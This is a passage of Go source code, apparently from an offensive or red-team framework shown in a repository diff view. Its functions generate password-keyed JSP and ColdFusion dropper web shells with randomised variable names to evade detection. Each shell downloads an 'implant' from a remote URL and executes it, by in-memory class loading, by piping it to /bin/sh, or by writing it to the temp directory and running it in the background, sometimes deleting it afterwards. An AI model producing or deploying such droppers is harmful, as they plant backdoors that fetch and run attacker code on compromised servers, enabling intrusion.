content = "<%@ page import=\"java.io.*,java.net.*\" %>\n"
|
||||
content += "<%\n"
|
||||
content += "String " + authKeyVar + " = \"" + key + "\";\n"
|
||||
content += "String " + userKey + " = request.getParameter(\"key\");\n"
|
||||
content += "out.print(\"<pre>\");\n"
|
||||
content += "if (" + userKey + " != null && " + userKey + ".equals(" + authKeyVar + ")) {\n"
|
||||
content += " try {\n"
|
||||
content += " URL " + urlVar + " = new URL(\"" + implantURL + "\");\n"
|
||||
content += " InputStream " + streamVar + " = " + urlVar + ".openStream();\n"
|
||||
content += " ByteArrayOutputStream " + bufVar + " = new ByteArrayOutputStream();\n"
|
||||
content += " byte[] " + dataVar + " = new byte[4096];\n"
|
||||
content += " int n;\n"
|
||||
content += " while ((n = " + streamVar + ".read(" + dataVar + ")) != -1) {\n"
|
||||
content += " " + bufVar + ".write(" + dataVar + ", 0, n);\n"
|
||||
content += " }\n"
|
||||
content += " " + streamVar + ".close();\n"
|
||||
|
||||
if inMemory {
|
||||
content += " byte[] implantBytes = " + bufVar + ".toByteArray();\n"
|
||||
content += " try {\n"
|
||||
content += " ClassLoader cl = new ClassLoader(Thread.currentThread().getContextClassLoader()) {\n"
|
||||
content += " public Class<?> load(byte[] b) { return defineClass(null, b, 0, b.length); }\n"
|
||||
content += " };\n"
|
||||
content += " Class<?> c = ((ClassLoader)cl.getClass().getMethod(\"load\", byte[].class).invoke(cl, implantBytes)).getClass();\n"
|
||||
content += " // Attempt reflective class loading\n"
|
||||
content += " out.print(\"Implant class loaded in memory\");\n"
|
||||
content += " } catch (Exception ce) {\n"
|
||||
content += " // Fallback: pipe to stdin via ProcessBuilder\n"
|
||||
content += " String[] cmd = {\"/bin/sh\", \"-c\", \"exec /proc/self/fd/0\"};\n"
|
||||
content += " ProcessBuilder pb = new ProcessBuilder(cmd);\n"
|
||||
content += " Process p = pb.start();\n"
|
||||
content += " p.getOutputStream().write(implantBytes);\n"
|
||||
content += " p.getOutputStream().close();\n"
|
||||
content += " out.print(\"Implant piped via stdin\");\n"
|
||||
content += " }\n"
|
||||
} else {
|
||||
content += " String " + pathVar + " = System.getProperty(\"java.io.tmpdir\") + File.separator + \"" + binaryName + "\";\n"
|
||||
content += " FileOutputStream fos = new FileOutputStream(" + pathVar + ");\n"
|
||||
content += " fos.write(" + bufVar + ".toByteArray());\n"
|
||||
content += " fos.close();\n"
|
||||
content += " String os = System.getProperty(\"os.name\").toLowerCase();\n"
|
||||
content += " if (!os.contains(\"win\")) {\n"
|
||||
content += " Runtime.getRuntime().exec(new String[]{\"chmod\", \"+x\", " + pathVar + "});\n"
|
||||
content += " Thread.sleep(500);\n"
|
||||
content += " }\n"
|
||||
content += " Runtime.getRuntime().exec(new String[]{" + pathVar + "});\n"
|
||||
content += " out.print(\"Implant deployed to \" + " + pathVar + ");\n"
|
||||
}
|
||||
|
||||
content += " } catch (Exception e) {\n"
|
||||
content += " out.print(\"Error: \" + e.getMessage());\n"
|
||||
content += " }\n"
|
||||
content += "} else {\n"
|
||||
content += " out.print(\"Not found\");\n"
|
||||
content += "}\n"
|
||||
content += "out.print(\"</pre>\");\n"
|
||||
content += "%>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
|
||||
// GenerateDropperCFM returns a CFM dropper shell that downloads and executes an implant.
|
||||
func GenerateDropperCFM(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
pathVar := GenerateRandomString()
|
||||
resultVar := GenerateRandomString()
|
||||
httpVar := GenerateRandomString()
|
||||
|
||||
content = "<cfparam name=\"URL.key\" default=\"\">\n"
|
||||
content += "<cfset " + authKeyVar + " = \"" + key + "\">\n"
|
||||
content += "<cfif URL.key EQ " + authKeyVar + ">\n"
|
||||
content += " <cfhttp url=\"" + implantURL + "\" method=\"GET\" result=\"" + httpVar + "\" getasbinary=\"yes\">\n"
|
||||
content += " </cfhttp>\n"
|
||||
content += " <cfif " + httpVar + ".statusCode EQ \"200 OK\">\n"
|
||||
|
||||
if inMemory {
|
||||
// CFM runs on JVM - try Java class loading, fallback to temp+cleanup
|
||||
content += " <cfset " + pathVar + " = GetTempDirectory() & \"" + binaryName + "\">\n"
|
||||
content += " <cffile action=\"write\" file=\"#" + pathVar + "#\" output=\"#" + httpVar + ".fileContent#\">\n"
|
||||
content += " <cfif FindNoCase(\"win\", server.os.name)>\n"
|
||||
content += " <cfexecute name=\"cmd\" arguments=\"/c #" + pathVar + "#\" variable=\"" + resultVar + "\" timeout=\"5\">\n"
|
||||
content += " </cfexecute>\n"
|
||||
content += " <cfelse>\n"
|
||||
content += " <cfexecute name=\"/bin/chmod\" arguments=\"+x #" + pathVar + "#\" timeout=\"5\"></cfexecute>\n"
|
||||
content += " <cfexecute name=\"#" + pathVar + "#\" timeout=\"5\" variable=\"" + resultVar + "\">\n"
|
||||
content += " </cfexecute>\n"
|
||||
content += " </cfif>\n"
|
||||
content += " <cffile action=\"delete\" file=\"#" + pathVar + "#\">\n"
|
||||
content += " <pre>Implant executed and cleaned up</pre>\n"
|
||||
} else {
|
||||
content += " <cfset " + pathVar + " = GetTempDirectory() & \"" + binaryName + "\">\n"
|
||||
content += " <cffile action=\"write\" file=\"#" + pathVar + "#\" output=\"#" + httpVar + ".fileContent#\">\n"
|
||||
content += " <cfif FindNoCase(\"win\", server.os.name)>\n"
|
||||
content += " <cfexecute name=\"cmd\" arguments=\"/c start /B #" + pathVar + "#\" timeout=\"5\">\n"
|
||||
content += " </cfexecute>\n"
|
||||
content += " <cfelse>\n"
|
||||
content += " <cfexecute name=\"/bin/chmod\" arguments=\"+x #" + pathVar + "#\" timeout=\"5\"></cfexecute>\n"
|
||||
content += " <cfexecute name=\"/bin/sh\" arguments=\"-c 'nohup #" + pathVar + "# > /dev/null 2>&1 &'\" timeout=\"5\">\n"
|
||||
content += " </cfexecute>\n"
|
||||
content += " </cfif>\n"
|
||||
content += " <pre>Implant deployed to #" + pathVar + "#</pre>\n"
|
||||
}
|
||||
|
||||
content += " <cfelse>\n"
|
||||
content += " <pre>Download failed: #" + httpVar + ".statusCode#</pre>\n"
|
||||
content += " </cfif>\n"
|
||||
content += "<cfelse>\n"
|
||||
content += " Not found\n"
|
||||
content += "</cfif>\n"
|
||||
|
||||
return content, key, nil
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
Loaded 100 of 199 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user